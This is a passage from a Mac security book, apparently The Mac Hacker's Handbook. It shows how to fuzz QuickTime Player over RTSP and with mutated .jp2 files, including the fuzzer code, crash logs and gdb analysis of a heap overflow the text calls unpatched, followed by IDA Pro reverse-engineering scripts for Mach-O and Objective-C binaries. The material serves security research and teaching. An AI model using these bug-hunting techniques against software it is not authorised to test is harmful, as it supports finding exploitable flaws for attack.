This command has ProxyFuzz wait for connections on port 6789, then forward 
the modifi ed traffi c to port 554 on the same machine on which ProxyFuzz is 
running.  The fi nal argument tells ProxyFuzz to fuzz only the client side of the 
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communication. Now it is just a matter of starting the script that spawns the 
player and waiting for the QuickTime Player to crash; see Figure 5-3.

QuickTime Player
client

RTSP server

Unmodified
RTSP request RTSP request

Fuzzed
RTSP response

RTSP response

ProxyFuzz

 Figure 5.3:  ProxyFuzz acts as a man-in-the-middle and fuzzes the RTSP traffic destined 
for the player.

Eventually QuickTime Player will succumb to this simple fuzzing. ReportCrash 
will capture the crash for future analysis (more on this in the next section). 
Unfortunately, it is diffi cult to use ProxyFuzz to repeat the exact conditions that 
caused the fault that made the application crash.

Here is an excerpt from the crash fi le.

Process:         QuickTime Player [5047]

Path:            /Applications/QuickTime 

Player.app/Contents/MacOS/QuickTime Player

Identifier:      com.apple.quicktimeplayer

Version:         7.4.1 (14)

Build Info:      QuickTime-7360000~2

Code Type:       X86 (Native)

Parent Process:  perl [5046]

Date/Time:       2008-03-20 13:25:00.985 -0500

OS Version:      Mac OS X 10.5.2 (9C7010)

Report Version:  6

Exception Type:  EXC_BAD_ACCESS (SIGBUS)

Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000001

Crashed Thread:  0

Thread 0 Crashed:

0   libSystem.B.dylib                   0x909c0745 strtol_l + 52

1   libSystem.B.dylib                   0x909f2243 atol + 69

2   …uickTimeStreaming.component      0x0067c421 

RTSPMessage_GetTransportInfo + 670

3   …uickTimeStreaming.component      0x006977d3

RTPMediaCond_HandleReceiveSetupResponse + 401

4   …uickTimeStreaming.component      0x00698208 

RTPMediaCond_NotificationFromEngine + 95

5   …uickTimeStreaming.component      0x0067a985 _StreamModuleProc + 

1904
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6   …uickTimeStreaming.component      0x006ac8e5 BaseStream_RcvData + 90

7   …uickTimeStreaming.component      0x006acaa5 

BaseStream_ComponentDispatch + 125

8   …ple.CoreServices.CarbonCore      0x93eaf5cd CallComponentDispatch + 

29

9   com.apple.QuickTime                 0x950b6eb7 QTSSMRcvData + 49

10  com.apple.QuickTime                 0x950b2663 QTSModSendData + 149

It is not obvious whether this bug is exploitable.

File Fuzzing
File fuzzing is similar to network fuzzing but in many ways is easier to carry 
out. Again we pick on QuickTime Player, and again we use a mutation-based 
approach. This time, however, you can fuzz the way it parses .jp2 fi les, which 
are image fi les that use the JPEG-2000 fi le format. For this you need a valid .jp2 
fi le, a way to add anomalies to it, a way to launch QuickTime Player repeatedly 
for each of the fuzzed fi les, and a way to monitor which fi les cause problems. 

Obtaining a valid .jp2 fi le is easy—just ask Google. As for the way to make 
the fuzzed test cases, you just need a simple program that randomly changes 
bytes in the fi le. This approach is ignorant of the .jp2 fi le format, but, as you’ll 
see, still proves to be effective in fi nding bugs. 

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#define NUM_FILES 8092 

int main(void)

{

        FILE *in, *out, *lout;

        unsigned int n, i, j;

        char buf[1002444];

        char backup[1002444];

        char outfile[1024];

        int rn;

        int rbyte;

        int numwrites;

        in = fopen(“good.jp2”, “r”);

        n = read(fileno(in), buf, sizeof(buf));

        memcpy(backup, buf, n);

        lout=fopen(“list”, “w”);

        srand(time(NULL));

        for (i=0;i<NUM_FILES;i++)
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        {

                // seek and write

                numwrites=rand() % 16;

                numwrites++;

                printf(“[+] Writing %d bytes\n”, numwrites);

                for (j=0;j<numwrites;j++)

                {

                        rbyte = rand() % 257;

                        if (rbyte == 256)

                                rbyte = -1;

                        rn = rand() % n - 1;

                        printf(“[+] buf[%d] = %d\n”, rn, rbyte);

                        buf[rn] = rbyte;

                }

                sprintf(outfile, “bad-%d.jp2”, i);

                out = fopen(outfile, “w”);

                write(fileno(out), buf, n);

                fclose(out);

                fprintf(lout, “%s\n”, outfile);

                memcpy(buf, backup, n);

        }

}

This script will generate 8,092 fi les, which contain up to 16 bytes that have 
been replaced with random values. Next you will supply these fi les to the player. 
Before you do that, we’ll explain ReportCrash (formerly CrashReporter), which 
starts from launchd whenever a program crashes, and was used to generate the 
crash report in the last section. It is useful for fuzzing purposes because it will 
detect any time the target application crashes and log it for you in ~/Library/
Logs/CrashReporter/. 

There have been some changes in the behavior of ReportCrash between Tiger 
and Leopard. Mainly, Tiger logged crashes to /var/log/crashreporter.log but 
Leopard doesn’t. Tiger had a way to customize crash reports, but Leopard doesn’t 
seem to have this feature. Finally, ReportCrash keeps only the 20 most recent 
crash reports; it deletes older entries. While this is probably perfectly reasonable 
for normal developers, for fuzz testers this is very inconvenient. I hypothesize 
that Apple made these changes just to annoy security researchers! 

The following script is for launching QuickTime Player on our fuzzed fi les 
and monitoring and saving the crash reports for future analysis. This script 
essentially un-Leopardizes ReportCrash and allows you to match exactly which 
fi le caused each saved crash report.

#!/bin/bash

X=0;

`rm -f ~/Library/Logs/CrashReporter/QuickTime*`
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for i in `cat list`;

        do

                echo $i;

                /Applications/QuickTime\ 

Player.app/Contents/MacOS/QuickTime\ Player $i &

                sleep 5;

                X=`ls ~/Library/Logs/CrashReporter/QuickTime* | wc | awk 

‘{print $1}’`;

                if [ 0 -lt $X ]

                then

                        echo “Crash: $i”;

                        mv ~/Library/Logs/CrashReporter/QuickTime* /tmp/

                fi

                killall -9 QuickTime\ Player;

        done

This script fi rst removes any existing crash fi les for QuickTime Player. It then 
launches the fi les in the fi le “list” one at a time, looking for crash reports to be 
generated. When it notices one, it prints that a crash has occurred and copies 
the crash report to /tmp. It then kills any QuickTime Player applications still 
running.

Now, we have a way to create fuzzed fi les and a way to launch them, auto-
matically. All that remains is to turn it on, come back in a few days, and sort 
through all the crash reports. It won’t be long until the familiar dialog will 
appear as in Figure 5-4.

 Figure 5-4:  QuickTime Player succumbs to our fuzzing.

This crash occurs because of a one-byte change in the valid fi le. It appears to 
be some kind of heap-memory corruption, as launching the same fuzzed fi le 
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makes QuickTime Player crash in very different spots, which is indicative of 
memory corruption. Also, sometimes it causes the following insightful error:

QuickTime Player(39507,0xa08aafa0) malloc: *** error for object 

0x2f1620: incorrect checksum for freed object - object was probably 

modified after being freed.

*** set a breakpoint in malloc_error_break to debug

Bus error

Heap buffer overfl ows will be discussed in more detail in Chapter 8. For now, 
it suffi ces to know that heap metadata and other application data can be cor-
rupted when the program writes beyond the bounds of a buffer. Unfortunately, 
the problem does not become evident until this corrupted data is actually used, 
which may be some time in the future. This makes fi nding heap overfl ows dif-
fi cult. Investigating further requires use of more advanced methods. One tool 
at your disposal is Guard Malloc, available in libgmalloc.dylib. This library is 
similar to Electric Fence in Linux in that it helps fi nd heap buffer overfl ows by 
terminating execution at the fi rst moment the bytes after a buffer are read or 
written to. This tool works by providing replacements for the malloc and free 
functions (among others) for use by the program. These modifi ed versions of the 
memory-allocation and deallocation functions align the allocated buffer with 
the end of a page in memory. Guard Malloc then marks the following page as 
nonreadable. Therefore, when a byte is read or written after the allocated buffer, 
a EXC_BAD_ACCESS signal will be generated and the program will terminate 
at the instruction that accessed past the buffer. 

You can see the vulnerable code for the .jp2 bug discovered in this section 
by using Guard Malloc. Attaching to QuickTime Player and feeding in the bad 
.jp2 fi le with Guard Malloc enabled stops the debugger precisely when the fi rst 
bytes are accessed after the allocated buffer.

$ gdb /Applications/QuickTime\ Player.app/Contents/MacOS/QuickTime\ 

Player 

…

(gdb) set env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib

(gdb) set args bad-688.jp2

(gdb) r

Starting program: /Applications/QuickTime 

Player.app/Contents/MacOS/QuickTime Player bad-688.jp2

GuardMalloc: Allocations will be placed on 16 byte boundaries.

GuardMalloc:  - Some buffer overruns may not be noticed.

GuardMalloc:  - Applications using vector instructions (e.g., SSE or 

Altivec) should work.

GuardMalloc: GuardMalloc version 18

…
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Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_PROTECTION_FAILURE at address: 0xf8646000

0x95336938 in JP2DecoPreflight ()

(gdb) x/i $eip

0x95336938 <JP2DecoPreflight+1692>:mov    ecx,DWORD PTR [eax+0xe]

 (gdb) x/16x $eax

0xf8645ff0:     0x05aa0000     0x007d0000     0x0c000000     0x00000000

0xf8646000:     Cannot access memory at address 0xf8646000

In this case, the allocated buffer ended at 0xf8645fff (this might include pad-
ding or rounding from the allocation). The code tried to read past the buf-
fer. Reading beyond the allocated buffer isn’t usually enough to make a bug 
exploitable. Fortunately, Guard Malloc has a feature that allows reads past the 
end of the buffer but not writes. It does this by marking the following page as 
read-only. This is controlled by the MALLOC_ALLOW_READS environment 
variable. Using this variable, the .jp2 bug reveals that it does actually corrupt 
heap metadata by writing beyond the end of an allocated buffer.

(gdb) set env MALLOC_ALLOW_READS=1

(gdb) r

…

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_PROTECTION_FAILURE at address: 0xf86b2000

0x95336963 in JP2DecoPreflight ()

(gdb) x/i $eip

0x95336963 <JP2DecoPreflight+1735>:mov    DWORD PTR [ecx+0xe],edx

As of the writing of this book, this bug is still within QuickTime Player. In 
general, determining the exploitability of a bug is very diffi cult. Can you control 
the data that is used when overwriting? Can you reliably set up something inter-
esting to overwrite? We’ll cover these topics in more detail later in the book. 

Conclusion

This chapter addressed different techniques for fi nding vulnerabilities in appli-
cations. First we covered the topic of source-code analysis. After that, the utility 
of generating and analyzing code-coverage data was demonstrated. Next we 
presented some practical methods that utilize the way Apple software is con-
structed, including looking at updates in the open-source software it utilizes, 
as well as keeping an eye on the public source-code repositories it employs. 
Finally, we presented the technique known as dynamic analysis, or fuzzing, 
including case studies involving network fuzzing and fi le fuzzing. Bugs were 
found and some initial analysis was performed.

95363c05.indd   13395363c05.indd   133 1/25/09   4:41:07 PM1/25/09   4:41:07 PM



134 Part II ■ Discovering Vulnerabilities

References

https://www.blackhat.com/presentations/bh-usa-07/Miller/

Presentation/bh-usa-07-miller.pdf

http://www.milw0rm.com/exploits/4648

http://www.apple.com/support/downloads/quicktime731forleopard

.html

http://archives.neohapsis.com/archives/dailydave/2008-q1/0158

.html

http://www.defcon.org/images/defcon-15/dc15-presentations/

dc-15-miller.pdf

http://cansecwest.com/csw08/csw08-miller.pdf

http://research.microsoft.com/research/pubs/view

.aspx?type=Technical%20Report&id=1300

http://www.vdalabs.com/tools/efs.html

http://www.amazon.com/Fuzzing-Brute-Force-Vulnerability-

Discovery/dp/0321446119

http://theartoffuzzing.com/joomla/index.php?option=com_content

&task=view&id=21&Itemid=40

95363c05.indd   13495363c05.indd   134 1/25/09   4:41:07 PM1/25/09   4:41:07 PM



135

In earlier chapters you learned how to peer inside a running process on Mac OS 
X to see what is happening. This involved using a couple of dynamic-analysis 
tools. In this chapter, you will continue to investigate the inner workings of 
Mac OS X binaries, this time by looking at the static disassembly of Mach-O 
binaries. To this end, we’ll show you some techniques to help clean up some of 
the most common problems that IDA Pro encounters with this fi le format. We 
will then discuss some particulars of disassembling binaries originating from 
Objective-C (Obj-C). Finally, we’ll walk you through an analysis of a binary and 
illustrate how you can change the core functionality of binaries rather easily 
once you understand how they work.

Disassembly Oddities

When looking at Mac OS X x86 binaries in IDA Pro that don’t come from 
Objective-C code, you realize that they look pretty much like binaries from 
other operating systems. Objective-C binaries look quite a bit different, and 
we’ll describe those later in this chapter. You’ll run into a few issues for which 
IDA Pro fails to provide optimum disassembly. We discuss these as well.

C H A P T E R 

6

Reverse Engineering
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EIP-Relative Data Addressing
One unusual construct you’ll notice when disassembling Mac OS X binaries 
typically occurs at the beginning of each function. You’ll see that data is often 
referred to neither globally nor as an offset from the beginning of the function, 
but from some other point, which we’ll call an anchor point; see Figure 6-1.

In this assembly listing, there is a call made at 0x1dbe to the next instruction, 
followed by a pop ebx instruction. This has the effect of storing the current pro-
gram counter in the ebx register. In this respect, every function looks like shell-
code! After the call and pop instructions, the code wants to refer to a string at 
address 0x3014 in the disassembly. The code does this by referring to the string 
as an offset from the anchor, stored in EBX. This EIP-relative data addressing is 
the default addressing mode on x86-64 for position-independent code, where it 
is called RIP-relative data addressing. The call/push EBX is a port of this con-
vention to 32-bit, where you cannot directly access the value of the instruction 
pointer. IDA Pro doesn’t know how to deal with this type of data addressing 
effectively, which makes understanding the disassembly more diffi cult.

Sometimes, instead of this inline version of getting the current program coun-
ter, you’ll see an actual function call, but the result is the same. Check out the 
number of references to this function in Figure 6-2.

 Figure 6-1:  A common Mac OS X function prologue

 Figure 6-2:  Storing a data anchor into the ECX register
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Messed-Up Jump Tables
The fact that these data anchors are used doesn’t merely make the disassembly 
harder to read; it can greatly affect the way IDA Pro disassembles the binary. 
For example, if a jump table is referred to from an anchor, IDA Pro won’t know 
how to locate the table and, consequently, won’t be able to determine where 
the jumps may occur. This means you will get no cross-references, and many 
portions of code will fail to disassemble correctly. Figure 6-3 shows a basic 
block from the CoreGraphics library, where a jump coming from a jump table 
is unknown to IDA Pro.

 Figure 6-3:  IDA Pro cannot deal with this jump because it comes from EIP-relative data.

In this case, the data anchor is stored in the EBX register and the beginning of 
the jump table is located at EBX+0xe9. Cameron Hotchkies and Aaron Portnoy 
wrote a small IDA Python function that can be used to add the missing cross-
references that will cause IDA Pro to disassemble at those points.

def rebuild_jump_table(fn_base, jmp_table_offset, address=None):

    jmp_table = jmp_table_offset + fn_base

    print “Jump table starts at %x” % jmp_table

    if not address:

        address = ScreenEA()

    counter = 0;

    entry = Dword(jmp_table + 4*counter) + fn_base

    while NextFunction(address) == NextFunction(entry):

        counter += 1

        AddCodeXref(address, entry, fl_JN)

        entry = Dword(jmp_table + 4*counter) + fn_base

    print “0x%08x: end jump table” % (jmp_table + 4*counter)

Save this function to a text fi le and load it into IDA Pro with the File  ➯ 
Python File menu option. To use it, place the cursor on the assembly line that 
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has the jmp instruction. Then select File  ➯ Python Command. In the dialog 
that shows up, type

rebuild_jump_table(ANCHOR_POINT, OFFSET_TO_JUMP_TABLE)

where ANCHOR_POINT is the address of the anchor point (in this case, the 
value stored in the EBX register) and OFFSET_TO_JUMP_TABLE is the value 
that takes you from the anchor point to the jump table, in this case 0xe9. For 
this example, you would enter

rebuild_jump_table(0xdf5f, 0xe9)

After this command, IDA Pro will add the necessary cross-references for this 
switch statement and improve the corresponding disassembly of the code in 
the function; see Figure 6-4.

 Figure 6-4:  After you run the script, IDA Pro finds all the possible jump destinations for 
this switch statement.

Identifying Missed Functions
Overall, IDA Pro does an excellent job disassembling Mach-O binaries, even 
compared to a year ago. However, one simple but important thing it often fails 
to do is identify all the functions in the binary. For example, take the iMovie 
HD binary and disassemble it with IDA Pro. It fi nds 8,672 functions, but misses 
some that are rather obvious; see Figure 6-5.

Again, Hotchkies and Portnoy provide a simple script that can help locate 
these missed functions. The basic idea is to look for the common function 
prologue.

push ebp

mov ebp, esp

Then declare that a function exists at these spots. IDA Pro takes a more con-
servative approach when looking for functions and fails to fi nd many of them 
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from Mach-O binaries. The following IDA Python script looks for these two 
instructions, which indicate the beginning of a function.

def rebuild_functions_from_prologues():

     seg_start = SegByName(“__text”)

     seg_end = SegEnd(seg_start)

     cursor = seg_start

     while cursor < seg_end:

          cursor = find_not_func(cursor, 0x1)

          # push EBP; mov EBP,ESP

          if (Byte(cursor) == 0x55 and Byte(cursor+1) == 0x89 and

          Byte(cursor+2)==0xE5):

                 MakeFunction(cursor, BADADDR)

                 else:

                 cursor = FindBinary(cursor, 0x1, “55 89 E5”, 16)

                 if (GetFunctionName(cursor) == “”):

                      MakeFunction(cursor, BADADDR)

rebuild_functions_from_prologues()

 Figure 6-5:  IDA Pro fails to identify many functions in Mach-O binaries.

Save this text in a fi le. Within IDA Pro, choose File  ➯ Python File, and select 
the fi le. When executed, in this case the script fi nds an additional 1,047 func-
tions. Notice in the overview area in IDA Pro that there are far fewer red lines 
than before running the script, indicating IDA Pro has placed almost all the 
code into functions; see Figure 6-6.
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 Figure 6-6:  IDA Pro now knows where almost all the functions begin.

Reversing Obj-C

We discussed some basics of Obj-C in Chapter 1, “Mac OS X Architecture.” Recall 
that this language is used in a number of Mac OS X applications, so it is impor-
tant to understand it. At fi rst glance, the way the Obj-C runtime functions does 
not lend itself to reverse engineering. A typical Obj-C binary will make all of its 
calls to class methods through just a few functions, usually objc_msgSend, but 
sometimes objc_msgSend_fpret, objc_msgSend_stret, or objc_msgSendSuper. 
For this discussion, we’ll focus on objc_msgSend, but everything discussed can 
be generalized. objc_msgSend dynamically determines what code to call based 
on the arguments passed to it. Therefore, disassembling a function gives very 
little information about what other functions it calls. In Chapter 1 you examined 
a simple Obj-C program which took two numbers passed as arguments, added 
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the fi rst to twice the second, and printed the result to standard output. Looking 
at the main function from this program in IDA Pro, it is hard to determine that 
this is what the function does; see Figure 6-7.

 Figure 6-7:  When reversing Obj-C binaries it can be hard to determine the execution 
flow, as many calls appear just as calls to objc_msgSend.

All you see is a couple of calls to atoi and a bunch of calls to objc_msgSend. 
There are also various Obj-C data structures that are not well understood by 
the IDA Pro parsing engine. We’ll discuss ways to disassemble an Obj-C binary 
in a more reverse-engineering-friendly way.

Cleaning Up Obj-C
One of the things you’ll notice the fi rst time you disassemble an Obj-C binary is 
that there are many segments that don’t normally show up in a C or C++ binary; 
see Figure 6-8. In IDA Pro you can view the program’s segments by pressing 
Shift+F7. These new segments include __class, __meta_class, and __instance 
vars. These segments contain Obj-C-specifi c information, but IDA Pro doesn’t 
go out of its way to display it in a friendly fashion. Instead it simply identifi es 
these as generic data structures; see Figure 6-9.
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 Figure 6-8:  A list of segments from an Obj-C binary. There are many segments you don’t 
normally see in a binary.

 Figure 6-9:  The Integer class before you clean it up

Looking at this class doesn’t tell you much. But looking at the eighth element 
in the structure, 0x30e0, you see some data that includes a list of the class’s 
methods (Figure 6-10).

 Figure 6-10:  A list of methods for the Integer class
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The fi rst couple of dwords seem to have to do with describing the number of 
methods to expect. In the fi rst entry after those, you see a structure that consists 
of an address to a string that names the function set_integer:, an address to 
some strange string @12@0:4i8, and fi nally an address to the executable code. 
The fi rst and third elements are pretty straightforward, but the second requires 
some more explanation. This string is actually a description of the types used 
in the method. The following is a list of different codes you may encounter in 
these type encodings.

Code   Meaning

c      A char

i      A int

s      A short

l      A long

q      A long long

C      An unsigned char

I      An unsigned int

L      An unsigned long

Q      An unsigned long long

f      A float

d      A double

v      A void

*      A charactrer string (char*)

@      An object (whether statically typed or typed id)

#      A class objec (Class)

:      A method selector (SEL)

[…]    An array

{…}    A structure

(…)    A union

bnum   A bitfield of num bits

^type  A pointer to type

?      An unknown type

Looking at @12@0:4i8, you can begin to decipher this string. The colon in the 
middle of the string indicates it is a method, and from there you need to work 
outward. The numbers all refl ect the offsets to the locations of the variables 
on the stack (from which their size can be calculated). The @12 indicates that 
the return value is a pointer to an object and that the fi nal argument (the int 
from before) requires four bytes of memory. 0 refers to the fi rst variable, the 
recipient. The 4 refl ects that this fi rst variable is 4 bytes long. The i8 indicates 
that the third argument (the fi rst to this method) is an integer and that the 
previous argument (the selector) is 4 bytes long. This makes sense since the 
selector should be a pointer to a string. Breaking this all out, you can write the 
prototype for this method as

- (object) method: (int) argument
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This pretty much agrees with the real prototype from the source code.

- (id) set_integer: (int) _integer

All of these Obj-C data structures can be very confusing. Luckily, there is 
an IDC script that cleans up some of this Obj-C data and makes it clearer for 
the reverse engineer. It is called fi xobjc.idc and can be found at http://www.
nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/, along with some other 
useful scripts. To use it, load the program in IDA Pro and then select File  ➯ 
IDC File and choose the fi xobjc.idc fi le. It will rename many of the classes and 
variables. Figure 6-11 shows the same Integer-class structure after it has been 
cleaned up a bit.

 Figure 6-11:  The Integer class after being cleaned up with fixobjc.idc

Basically, it renamed the address to class_Integer and it named three of the 
offsets in the structure: metaclass_Integer, ivars_Integer, and methods_Integer. 
These three structures contain information about the metaclass, member vari-
ables, and methods, respectively. The appearance of the other structures has also 
been improved. Such improvements can make a big difference when looking at 
a complicated class; see Figure 6-12.

 Figure 6-12:  A list of methods for a couple of Obj-C classes after cleanup

Furthermore, in the very simple case where hard-coded offsets are used as 
addresses to objc_msgSend, it makes the disassembly easier to read by explicitly 
naming the strings being used as arguments to the function; see Figure 6-13.
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 Figure 6-13:  Once you have parsed the Obj-C structures, the calls to objc_msgSend can 
be understood by looking at the nearby strings. This works only when these strings are 
addressed directly.

Looking at Figure 6.13, it is now clear that the calls to objc_msgSend are 
actually going to be resolved to calls to NSBundle::mainBundle, NSBundle::
pathForResource:ofType, and NSWorkspace::sharedWorkspace. This is possible 
only in this case because these strings are referenced directly and not through 
EIP-relative addressing. You’ll see in the next section how to handle the more 
generic case.

Shedding Light on objc_msgSend Calls
The IDC script helped demystify some of the calls to objc_msgSend, but in many 
cases it didn’t help, as in the example in Figure 6-7. In these cases, you still end 
up with a bunch of calls to objc_msgSend, where at fi rst glance, it is not obvious 
where they go. To make matters worse, due to this calling mechanism, you lose 
out on useful cross-reference information; see Figure 6-14. In this fi gure, only 
one cross-reference exists, and it is a data cross-reference (to the Obj-C struc-
tures). This makes tracing code execution diffi cult. This is true even for calls that 
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used fi xed offsets such that fi xobjc.idc made it easier to read; the cross-references 
are still broken. In this way, IDA Pro is reduced to a GUI for otool.

 Figure 6-14:  An Obj-C method typically has no CODE cross-references since it is called 
via a data structure by objc_msgSend.

Luckily, you can oftentimes fi x these defi ciencies; you just need to do some-
thing a little more precise. On the surface, this seems like a pretty straightfor-
ward problem to fi x because the information needed to resolve which function 
to call is passed as the fi rst and second arguments to objc_msgSend. However, 
in reality it is slightly more complicated. These arguments often are passed 
through many registers and stack values before ending up as an argument, 
which would require complicated slicing of these values through the code. 
(Actually, Hotchkies and Portnoy have a script that tries to do exactly this, with 
limited success.) Instead of doing this analysis, you can utilize the ida-x86emu 
emulator for IDA Pro, written by Chris Eagle. This tool, from a given spot in the 
binary, emulates the x86 processor as it acts on emulated registers and an emu-
lated stack and heap. In this way, the program’s fl ow can be analyzed without 
running the code. This plug-in was designed to help reverse-engineer malicious 
and other self-modifying code. However, the emulation is useful in this case 
because you can emulate entire functions and then whenever objc_msgSend is 
called you can fi nd the values that are used as arguments to the function. We 
do make one simplifi cation; the method presented here emulates each func-
tion in isolation—i.e., you do not emulate the functions called from within the 
analyzed function. For the most part this inexact analysis is suffi cient since 
you care only about arguments to this one function. This simplifi cation saves 
time and overhead, but has the drawback of being somewhat inaccurate. For 
example, if one of the arguments to objc_msgSend is passed as a parameter 
to a function, you will not be able to identify it. For most cases, though, this 
technique is suffi cient.

You want to go through each function, emulate it, and record the arguments 
to objc_msgSend. ida-x86emu is designed as a GUI to interact with IDA Pro. So 
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you need to make some changes to it. For the code in its entirety, please consult 
www.wiley.com/go/machackershandbook. What follows are some of the most 
important changes that need to be made.

First you want to execute the code when ida-x86emu normally throws up its 
GUI window, so replace the call to CreateDialog with a call to your code. Then 
iterate through each function, and for each function emulate execution for all 
instructions within it. This code is shown here. Note that you will not necessar-
ily go down every code path, so some calls to objc_msgSend may be missed.

void do_execute_single_function(unsigned int f_start, unsigned int 

f_end){

    int counter = 0;

    while(counter < 10000){   // arbitrary bail

        codeCheck();

        executeInstruction();

        if(cpu.eip<f_start || cpu.eip>f_end){

            break;

        }

        codeCheck();

        counter++;

    }

}

void do_functions(){

    int iFuncCount = get_func_qty();

    msg(“Functions to process: %d\n”, iFuncCount);

    for(int iIndex = 0; iIndex < iFuncCount; iIndex++)

    {

        msg(“function #%d / %d”,iIndex, iFuncCount);

        if(func_t *pFunc = getn_func(iIndex))

        {

            msg(“, %x\n”, pFunc->startEA);

            resetCpu();

            cpu.eip = pFunc->startEA;

            do_execute_single_function(pFunc->startEA, pFunc->endEA);

        } else {

            msg(“\n*** Failed for index: %d! ***\n”, iIndex);

            return;

        }

    }

}

So far you haven’t done anything except automate how the emulator works. 
ida-x86emu has C++ code that emulates each (supported) instruction. The only 
change you need to make is how the CALL instruction is handled:
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get_func_name(cpu.eip + disp, buf, sizeof(buf));

if(!strcmp(buf, “objc_msgSend”)){

// Get name from ascii components

    unsigned int func_name = readMem(esp + 4, SIZE_DWORD);

    unsigned int class_name = readMem(esp, SIZE_DWORD);

    get_ascii_contents(func_name, get_max_ascii_length(func_name, 

ASCSTR_C, false), ASCSTR_C, buf, sizeof(buf));

    if(class_name == -1){

        strcpy(bufclass, “Unknown”);

    } else {

        get_ascii_contents(class_name, get_max_ascii_length(class_name, 

ASCSTR_C, false), ASCSTR_C, bufclass, sizeof(bufclass));

    }

    strcpy(buf2, “[“);

    strcat(buf2, bufclass);

    strcat(buf2, “::”);

    strcat(buf2, buf);

    strcat(buf2, “]”);

    xrefblk_t xb;

    bool using_ida_name = false;

    // Try to get IDA name by doing xref analysis.  Can set xrefs too.

    for ( bool ok=xb.first_to(func_name, XREF_ALL); ok; ok=xb.next_to() 

)

    {

        char buffer[64];

        get_segm_name(xb.from, buffer, sizeof(buffer));

        if(!strcmp(buffer, “__inst_meth”) || !strcmp(buffer, 

“__cat_inst_meth”)){

        // now see where this guy points

            xrefblk_t xb2;

            for ( bool ok=xb2.first_from(xb.from, XREF_ALL); ok; 

ok=xb2.next_from() )

            {

                get_segm_name(xb2.to, buffer, sizeof(buffer));

                if(!strcmp(buffer, “__text”)){

                    using_ida_name = true;

                    get_func_name(xb2.to, buf2, sizeof(buf2));

                    add_cref(cpu.eip - 5, xb2.to, fl_CN);

                    add_cref(xb2.to, cpu.eip - 5, fl_CN);

                }

            }

        }

    }

    if(!using_ida_name){

        set_cmt(cpu.eip-5, buf2, true);

    }

    eax = class_name;
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This code runs only when the name of the function being called is objc_
msgSend. It then reads the values of the two arguments to the function stored 
on the stack and gets the strings at those addresses. In the case, when the code 
doesn’t have the class information (for example, if this were an argument to the 
function being emulated), it uses the string Unknown. It then builds a string 
that describes the function really being called and adds a comment to the IDA 
Pro database if it cannot determine the exact location of the function.

The way it tries to determine the function relies on the mechanics of the Obj-C 
runtime library. It starts at the ASCII string, which describes the function that 
needs to be called—for example, set_integer:. It looks at any cross-references 
to this string and tries to fi nd one in a section called either __inst_method or 
__cat_inst_method. If it fi nds one there, it knows that these particular structures 
are arranged such that the third dword points to the code for the function, as 
you saw earlier in this chapter. In particular, this data structure references the 
code. So the plug-in looks for any references to any code in the __text section. 
If it fi nds one, it knows it has located the code associated with the string. When 
it can carry out these steps, it knows the address of the executable code that 
will eventually be called via objc_msgSend. In this case it can place appropri-
ate cross-references in the IDA Pro database. With the addition of these cross-
references, when viewing the disassembly it is possible to view and navigate 
to the functions being called.

If this method of looking up the code associated with the string fails (for 
example, if the code were located in a different binary), then the ASCII string 
is placed as a comment next to the call to objc_msgSend. Finally, the program 
sets the function’s return value to be the name of the class being used, for future 
reference by the emulator.

To use this plug-in, make sure it is located in the plug-in directory of IDA 
Pro. Then, when the binary being disassembled is ready, press Alt+F8, the 
key sequence originally used to activate the ida-x86emu plug-in. This should 
add cross-references and comments to many of the calls to objc_msgSend; see 
Figure 6-15.

The cross-references also make backtracing calls much easier. Compare 
Figure 6-16 to Figure 6-14.
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 Figure 6-15:  Calls to objc_msgSend are either commented with their destination or 
have cross-references added.

 Figure 6-16:  This function now has three code cross-references listed as to where it 
is called.

Case Study

In the previous chapter you were able to use the Pai Mei reverse-engineering 
framework to isolate a function that was responsible for the functioning of the 
+ button in the Calculator application; however, you stopped there. Now you’ll 
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take a closer look at that function, fi gure out how it works, and modify it so that 
it acts like the - (minus) button.

 Figure 6-17:  A call to objc_msgSend within the Calculate shared library that does the 
actual addition. No cross-reference was generated because this code resides in a different 
shared library.

By looking at this function and the coloring provided by the IDC fi le Pai Mei 
generated, you can see what code path was executed. The fi rst few function calls 
are to _evaluateTree(). Presumably this does the lexiconical parsing to fi gure 
out which two numbers are being added. The fi nal function call is to decimal-
NumberByAdding: via objc_msgSend(), see Figure 6-17. It’s a safe guess that this 
is the function that does the actual adding of the numbers. Let’s fi re up GDB 
and take a closer look at the stack when objc_msgSend() is called. According 
to IDA Pro, this function is called at address 0x2d40 from the beginning of the 
Calculate library. By attaching a debugger to Calculator, you can determine the 
address at which this library is loaded.

(gdb) info sharedlibrary

The DYLD shared library state has not yet been initialized.

                                          Requested State Current State

Num Basename                Type Address         Reason | | Source

  | |                          | |                    | | | |

  1 Calculator                 - 0x1000            exec Y Y 

/Applications/Calculator.app/Contents/MacOS/Calculator (offset 0x0)

  2 dyld                       - 0x8fe00000        dyld Y Y 

/usr/lib/dyld at 0x8fe00000 (offset 0x0) with prefix “__dyld_”

  3 Cocoa                      F 0x9057a000        dyld Y Y 

/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa at 

0x9057a000 (offset -0x6fa86000)

  4 SpeechDictionary           F 0x33000           dyld Y Y 

/System/Library/PrivateFrameworks/SpeechDictionary.framework/Versions/A/

SpeechDictionary at 0x33000 (offset 0x33000)

  5 SpeechObjects              F 0x66000           dyld Y Y 

/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/

SpeechObjects at 0x66000 (offset 0x66000)

  6 SystemConfiguration        F 0x93c07000        dyld Y Y 

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/

SystemConfiguration at 0x93c07000 (offset -0x6c3f9000)
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  7 Calculate                  F 0x82000           dyld Y Y 

/System/Library/PrivateFrameworks/Calculate.framework/Versions/A/

Calculate at 0x82000 (offset 0x82000)

…

The Calculate shared library is loaded at 0x82000, and you want 0x2d40 bytes 
past that. Quickly double-check whether this is correct.

(gdb) x/i 0x84d40

0x84d40 <functionAddDecimal+132>:     call   0x8e221 

<dyld_stubobjc_msgSend>

That looks good. Set a breakpoint there and do a simple addition in Calculator. 
For example, add the numbers 1,234 and 9,876. When the breakpoint is hit, the 
stack looks like this:

Breakpoint 1, 0x00084d40 in functionAddDecimal ()

(gdb) x/3x $esp

0xbfff2080:     0x00175390     0x90e6ac80     0x0016e480

